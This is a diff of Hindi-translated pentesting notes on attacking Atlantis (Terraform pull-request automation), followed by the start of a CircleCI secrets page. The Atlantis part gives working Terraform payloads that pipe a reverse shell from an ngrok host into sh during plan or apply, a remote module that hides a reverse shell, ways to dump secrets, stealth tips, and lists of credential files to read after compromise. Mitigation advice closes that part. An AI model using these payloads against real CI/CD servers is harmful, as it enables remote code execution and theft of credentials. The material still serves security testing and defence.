[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) में आप Atlantis चलाने के लिए use होने वाले options पा सकते हैं:
```bash
# Get help
atlantis help
@@ -163,59 +163,59 @@ atlantis apply [options] -- [terraform apply flags]
### हमले
> [!WARNING]
> यदि शोषण के दौरान आपको यह **त्रुटि** मिलती है: `Error: Error acquiring the state lock`
> यदि exploitation के दौरान आपको यह **error** मिल: `Error: Error acquiring the state lock`
आप इसे चलाकर ठीक कर सकते हैं:
आप इसे इस command को चलाकर ठीक कर सकते हैं:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis योजना RCE - न PR में कॉन्फ़िगरेशन संशोधन
#### Atlantis plan RCE - न PR में Config modification
यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप **`atlantis plan`** **को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है)**, **तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे**
अगर आपके पास किसी repository पर write access है, तो आप उस पर एक नया branch बना सकते हैं और एक PR generate कर सकते हैं। अगर आप **`atlantis plan` execute** कर सकते हैं (या शायद यह automatically execute होता हो), **तो आप Atlantis server के अंदर RCE कर पाएंगे**
आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:
आप ऐसा [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) बनाकर कर सकते हैं। बस `main.tf` file में नीचे जैसा payload डालें:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**स्टेल्थियर अटैक**
**अधिक stealthier Attack**
आप इस अटैक को एक **स्टेल्थियर तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
आप इस attack को और भी **stealthier way** में perform कर सकते हैं, इन suggestions को follow करके:
- Terraform फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन** लोड कर सकते हैं जिसमें रेव शेल हो:
- terraform file में सीधे rev shell add करने के बजाय, आप एक **external resource load** कर सकते हैं जिसमें rev shell हो:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं।
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **PR को मास्टर** में बनाने के बजाय, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
#### Atlantis योजना रहस्यों का डंप
#### Atlantis plan Secrets Dump
आप **terraform द्वारा उपयोग किए गए रहस्यों को डंप** कर सकते हैं `atlantis plan` (`terraform plan`) चलाकर, terraform फ़ाइल में कुछ इस तरह डालकर:
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - नए PR में कॉन्फ़िगरेशन संशोधन
#### Atlantis apply RCE - Config modification in new PR
यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप **`atlantis apply` निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं**
अगर आपके पास किसी repository पर write access है, तो आप उस पर एक नया branch बना सकते हैं और PR generate कर सकते हैं। अगर आप **`atlantis apply` execute** कर सकते हैं, तो आप Atlantis server के अंदर RCE कर पाएंगे
हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी:
हालांकि, आमतौर पर आपको कुछ protections bypass करनी होगी:
- **Mergeable**: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल **`atlantis apply` चला सकते हैं यदि PR मर्ज करने योग्य है** (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)।
- संभावित [**शाखा सुरक्षा बायपास**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें
- **Approved**: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ **अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा** इससे पहले कि आप `atlantis apply` चला सकें
- डिफ़ॉल्ट रूप से, आप इस सुरक्षा को बायपास करने के लिए [**Gitbot टोकन का दुरुपयोग कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Mergeable**: अगर Atlantis में यह protection set है, तो आप केवल **`atlantis apply`** तभी चला सकते हैं जब PR mergeable हो (जिसका मतलब है कि branch protection को bypass करना होगा)।
- संभावित [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) देखें
- **Approved**: अगर Atlantis में यह protection set है, तो **atlantis apply** चलाने से पहले किसी **दूसरे user** को PR approve करना होगा
- By default आप इस protection को bypass करने के लिए [**Gitbot token**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) का abuse कर सकते हैं
**`terraform apply` को एक दुर्भावनापूर्ण Terraform फ़ाइल पर चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं:
**local-exec** के साथ किसी malicious Terraform file पर **`terraform apply`** चलाना।\
आपको बस यह सुनिश्चित करना है कि नीचे दिए गए जैसे कोई payload `main.tf` file में अंत में मौजूद हो:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके
Follow the **previous technique** के **suggestions** का पालन करें और इस attack को **stealthier way** में perform करें
#### Terraform Param Injection
जब `atlantis plan` या `atlantis apply` चलाया जाता है, त terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह कमांड पास कर सकते हैं:
जब `atlantis plan` या `atlantis apply` चलाया जाता है, त terraform under-needs run हो रहा होता है, आप atlantis से terraform को commands pass कर सकते हैं, कुछ ऐसा commenting करके:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
आप जो पास कर सकते हैं वे env वेरिएबल हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें।
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### कस्टम वर्कफ़्लो
#### Custom Workflow
**malicious custom build commands** को `atlantis.yaml` फ़ाइल में निर्दिष्ट करना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **master** की नहीं।\
इस संभावना का उल्लेख पिछले अनुभाग में किया गया था:
`atlantis.yaml` file में निर्दिष्ट **malicious custom build commands** चलाना। Atlantis pull request branch से `atlantis.yaml` file का उपयोग करता है, `master` का **नहीं**।\
इस संभावना का उल्लेख पिछले section में किया गया था:
> [!CAUTION]
> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` को **True** पर सेट किया गया है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकत है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है
> अगर [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` **True** पर set है, तो workflows हर repo की **`atlantis.yaml`** file में **specified** कि जा सकत है। यह भी संभ है कि `allowed_overrides` में भी **`workflow`** specified हो, ताकि उपयोग होने वाले workflow को **override** किया जा सके
>
> यह मूल रूप से **Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुँच सकता है**
> इससे मूल रूप से Atlantis server में किसी भी user के लिए **RCE** मिल जाएगी, जो उस repo को access कर सकता है।
>
> ```yaml
> # atlantis.yaml
@@ -272,9 +272,9 @@ atlantis apply -- -h #Get terraform apply help
> - run: my custom apply command
> ```
#### योजना/लागू सुरक्षा को बायपास करना
#### Bypass plan/apply protections
यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा को बायपास करके लिए संशोधित करना** संभव है।
अगर [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` में `apply_requirements` configured है, तो किसी repo के लिए **plan/apply protections** को modify करउन्हें bypass करना संभव है।
```yaml
repos:
- id: /.*/
@@ -282,87 +282,87 @@ apply_requirements: []
```
#### PR Hijacking
यदि कोई आपके वैध पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते।
अगर कोई आपकी valid pull requests पर **`atlantis plan/apply` comments** भेजता है, तो यह terraform को चलागा जब आप नहीं चाहते।
इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट डाला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िगरेशन** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िगरेशन में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है।
इसके अलावा, अगर आपने **branch protection** में यह configure नहीं किया है कि **new commit push** होने पर हर PR को **reevaluate** किया जाए, तो कोई **malicious configs** (previous scenarios देखें) terraform config में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE हासिल कर सकता है।
यह Github branch protections में **सेटिंग** है:
यह Github branch protections में **setting** है:
![](<../images/image (216).png>)
![GitHub branch protection option to dismiss stale pull request approvals after new commits](<../images/image (216).png>)
#### Webhook Secret
यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं किया जा रहा है, तो आप **Atlantis webhook** को **कॉल** कर सकते हैं और **atlatis कमांड** सीधे निष्पादित कर सकते हैं।
अगर आप **webhook secret** चुरा लेते हैं, या अगर कोई **webhook secret** इस्तेमाल ही नहीं किया जा रहा है, तो आप Atlantis webhook को **call** कर सकते हैं और सीधे atlatis commands **invoke** कर सकते हैं।
#### Bitbucket
Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।
Bitbucket Cloud **webhook secrets** सपोर्ट नहीं करता। इससे attackers को **Bitbucket requests spoof** करने का मौका मिल सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs को allow कर रहे हैं।
- इसका मतलब है कि एक **हमलावर** **Atlantis** के लिए **फर्जी अनुरोध** कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहं।
- यदि आप `--repo-allowlist` निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं आपके अपने रिपोजिटरी पर plan/apply करना होगा
- इससे बचने के लिए [Bitbucket के IP पते](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) को allowlist करें (Outbound IPv4 addresses देखें)।
- इसका मतलब है कि एक **attacker** Atlantis को **fake requests** भेज सकता है जो ऐसे लगें जैसे वे Bitbucket से आ रहं।
- अगर आप `--repo-allowlist` specify कर रहे हैं, तो वे केवल उन repos से संबंधित fake requests ही कर सकते हैं, इसलिए सबसे ज्यादा damage यही होगा कि आपके own repos पर plan/apply चला दें
- इससे बचने के लिए, [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) को allowlist करें (Outbound IPv4 addresses देखें)।
### Post-Exploitation
यदि आप सर्वर तक पहुँचने में सफल हो गए हैं या कम से कम आपके पास LFI है, तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने का प्रयास करन चाहिए:
अगर आप server तक access पा लेते हैं या कम से कम वहाँ LFI मिल जाती है, तो कुछ interesting चीजें हैं जिन्हें आपको पढ़ने की कोशिश करन चाहिए:
- `/home/atlantis/.git-credentials` VCS एक्सेस क्रेडेंशियल्स शामिल है
- `/atlantis-data/atlantis.db` अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल है
- `/home/atlantis/.git-credentials` VCS access credentials रखता है
- `/atlantis-data/atlantis.db` VCS access credentials और ज्यादा info के साथ रखता है
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- उदाहरण: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env वेरिएबल्स
- `/proc/[2-20]/cmdline` `atlantis server` की Cmd line (संवेदनशील डेटा हो सकता है)
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` `atlantis server` की Cmd line (इसमें sensitive data हो सकता है)
### Mitigations
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
क्योंकि कोई भी सार्वजनिक पुल अनुरोधों पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, सार्वजनिक रिपोजिटरी पर उचित सुरक्षा सेटिंग्स के बिना Atlantis चलाना अभी भी खतरनाक है।
क्योंकि कोई भी public pull requests पर comment कर सकता है, भले ही सभी available security mitigations हों, proper security settings के बिना public repos पर Atlantis चलाना फिर भी dangerous है।
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
यदि आप एक सार्वजनिक रिपोजिटरी पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको `--allow-fork-prs` सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने फोर्क से आपके रिपोजिटरी के लिए एक पुल अनुरोध खोल सकता है।
अगर आप public repo पर चल रहे हैं (जो recommended नहीं है, ऊपर देखें), तो आपको `--allow-fork-prs` (defaults to false) set नहीं करना चाहिए क्योंकि कोई भी अपने fork से आपके repo में pull request खोल सकता है।
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से वेबहुक स्वीकार करने के लिए रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
- विशिष्ट रिपोजिटरी: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- आपका पूरा संगठन: `--repo-allowlist=github.com/runatlantis/*`
- आपके GitHub Enterprise इंस्टॉलेशन में हर रिपोजिटरी: `--repo-allowlist=github.yourcompany.com/*`
- सभी रिपोजिटरी: `--repo-allowlist=*`। जब आप एक सुरक्षित नेटवर्क में होते हैं तो यह उपयोगी है लेकिन बिना webhook secret सेट किए खतरनाक है।
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
यह ध्वज सुनिश्चित करता है कि आपकी Atlantis इंस्टॉलेशन उन रिपोजिटरी के साथ उपयोग नहीं की जा रही है जिन्हें आप नियंत्रित नहीं करते। अधिक विवरण के लिए `atlantis server --help` देखें।
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
यदि आपके खतरे के मॉडल में हमलावरों द्वारा दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत करना शामिल है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।
अगर attackers malicious Terraform code के साथ pull requests submit करते हैं और यह आपके threat model में है, तो आपको aware होना चाहिए कि `terraform apply` approvals पर्याप्त नहीं हैं। [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या malicious provider specify करके `terraform plan` में malicious code चलाना possible है। यह code फिर आपके credentials exfiltrate कर सकता है।
इसबचने के लिए, आप कर सकते हैं:
इसे रोकने के लिए, आप:
1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें।
2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है।
3. अपने [सर्वर-साइड रिपोजिटरी कॉन्फ़िगरेशन](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।
1. providers को Atlantis image में bake कर सकते हैं या host कर सकते हैं और production में egress deny कर सकते हैं।
2. provider registry protocol को internally implement करें और public egress deny करें, ताकि आप control करें कि registry में write access किसके पास है।
3. अपने [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` step को modify करें ताकि disallowed providers या data sources के use, या not allowed users से आए PRs को validate किया जा सके। इस point पर आप extra validation भी जोड़ सकते हैं, जैसे `plan` जारी रखने से पहले PR पर "thumbs-up" required करना। यहाँ Conftest useful हो सकता है।
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis को `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए Webhook secrets के साथ चलाना चाहिए। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets यह सुनिश्चित करते हैं कि वेबहुक अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रह हैं।
Atlantis को Webhook secrets के साथ चलाना चाहिए, जिन्हें `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables से set किया जाता है। `--repo-allowlist` flag set होने पर भी, webhook secret के बिना attackers Atlantis को ऐसी repository के रूप में requests भेज सकते हैं जो allowlisted है। Webhook secrets ensure करते हैं कि webhook requests वास्तव में आपके VCS provider (GitHub या GitLab) से ही आ रह हैं।
यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें।
अगर आप Azure DevOps use कर रहे हैं, तो webhook secrets की जगह basic username और password add करें।
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps सभी वेबहुक घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके वेबहुक स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।
Azure DevOps सभी webhook events में basic authentication header भेजना support करता है। इसके लिए आपके webhook location के लिए HTTPS URL use करना आवश्यक है।
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
यदि आप webhook secrets का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है, तो webhook secrets चुराए जा सकते हैं। `--ssl-cert-file` और `--ssl-key-file` ध्वजों का उपयोग करके SSL/HTTPS सक्षम करें।
अगर आप webhook secrets use कर रहे हैं लेकिन आपका traffic HTTP पर है, तो webhook secrets steal किए जा सकते हैं। `--ssl-cert-file` और `--ssl-key-file` flags का उपयोग करके SSL/HTTPS enable करें।
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। `--web-basic-auth=true` का उपयोग करके BasicAuth सक्षम करें और `--web-username=yourUsername` और `--web-password=yourPassword` ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें।
web service में authentication enable करना बहुत recommended है। `--web-basic-auth=true` का उपयोग करके BasicAuth enable करें और `--web-username=yourUsername` तथा `--web-password=yourPassword` flags से username और password set करें।
आप इन्हें पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`
आप इन्हें environment variables के रूप में भी pass कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
+52 -52
View File
@@ -1,29 +1,29 @@
# CircleCI सुरक्षा
# CircleCI Security
{{#include ../banners/hacktricks-training.md}}
### बुनियादी जानकारी
### Basic Information
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहा आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बतातैं कि आप से कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **डिप्लॉयमेंट** को सीधे **अपने रेपो मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए।
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक Continuos Integration platform है जहा आप **define templates** कर सकते हैं, यह बतातुए कि आप उससे किसी code पर क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **automate testing** या **deployments** सीधे **from your repo master branch** से कर सकते हैं, उदाहरण के लिए।
### अनुमतियाँ
### Permissions
**CircleCI** **अनुमतियाँ विरासत में लेता है** जो github और bitbucket से संबंधित हैं उस **खाते** से जो लॉग इन करता है।\
मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में सके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।
**CircleCI** **inherits the permissions** github और bitbucket से, जो **account** से संबंधित हैं जो login करता है।\
अपने testing में मैंने देखा कि जब तक आपके पास github में **repo पर write permissions** हैं, आप CircleCI में सके **project settings manage** कर पाएंगे (new ssh keys set करना, project api keys लेना, new CircleCI configs के साथ new branches create करना...)।
हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है
हालांकि, **repo admin** होना जरूरी है ताकि आप **repo को CircleCI project में convert** कर सकें
### पर्यावरण चर और रहस्य
### Env Variables & Secrets
[**दस्तावेज़ों के अनुसार**](https://circleci.com/docs/2.0/env-vars/) कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं।
[**the docs**](https://circleci.com/docs/2.0/env-vars/) के अनुसार workflow के अंदर environment variables में values **load** करने के अलग-अलग तरीके हैं।
#### अंतर्निहित पर्यावरण चर
#### Built-in env variables
CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट env vars**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`
CircleCI द्वारा run किया गया हर container हमेशा [**documentation में defined specific env vars**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME` रखेगा
#### स्पष्ट पाठ
#### Clear text
आप न्हें **कमांड** के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:
आप न्हें एक **command** के अंदर clear text में declare कर सकते हैं:
```yaml
- run:
name: "set and echo"
@@ -31,7 +31,7 @@ command: |
SECRET="A secret"
echo $SECRET
```
आप उन्हें **run environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
आप उन्हें **run environment** के अंदर clear text में declare कर सकते हैं:
```yaml
- run:
name: "set and echo"
@@ -39,7 +39,7 @@ command: echo $SECRET
environment:
SECRET: A secret
```
आप उन्हें **build-job environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
आप उन्हें **build-job environment** में clear text में declare कर सकते हैं:
```yaml
jobs:
build-job:
@@ -48,7 +48,7 @@ docker:
environment:
SECRET: A secret
```
आप उन्हें **कंटेनर के वातावरण** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
आप उन्हें एक container के **environment** के अंदर clear text में declare कर सकते हैं:
```yaml
jobs:
build-job:
@@ -57,45 +57,45 @@ docker:
environment:
SECRET: A secret
```
#### प्रोजेक्ट रहस्य
#### Project Secrets
ये **रहस्य** हैं जो केवल **प्रोजेक्ट** (किसी भी **शाखा** द्वारा) द्वारा **पहुँच योग्य** होंगे।\
आप इन्हें _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ में **घोषित** होते हुए देख सकते हैं
ये **secrets** हैं जो केवल **project** द्वारा (**any branch** से) **accessible** होंगे।\
आप इन्हें _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ में **declared** देख सकते हैं
![](<../images/image (129).png>)
![CircleCI project environment variables page with MY_ENV_VAR and a masked secret value](<../images/image (129).png>)
> [!CAUTION]
> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है।
> "**Import Variables**" functionality आपको दूसरे projects से variables को इस one में **import** करने की अनुमति देती है।
#### संदर्भ रहस्य
#### Context Secrets
ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** को **पहुँच** सकेगा:
ये ऐसे secrets हैं जो **org wide** होते हैं। **default** के अनुसार कोई भी repo यहां stored किसी भी secret को **access** कर पाएगा:
![](<../images/image (123).png>)
![CircleCI context security group page showing All members allowed to execute the context](<../images/image (123).png>)
> [!TIP]
> हालाकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को **विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है**।\
> यह वर्तमान में रहस्यों की **सुरक्षा बढ़ाने** के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को
> हालाकि, ध्यान दें कि एक अलग group (All members की जगह) को चुनकर secrets का access केवल specific people तक सीमित किया जा सकता है।\
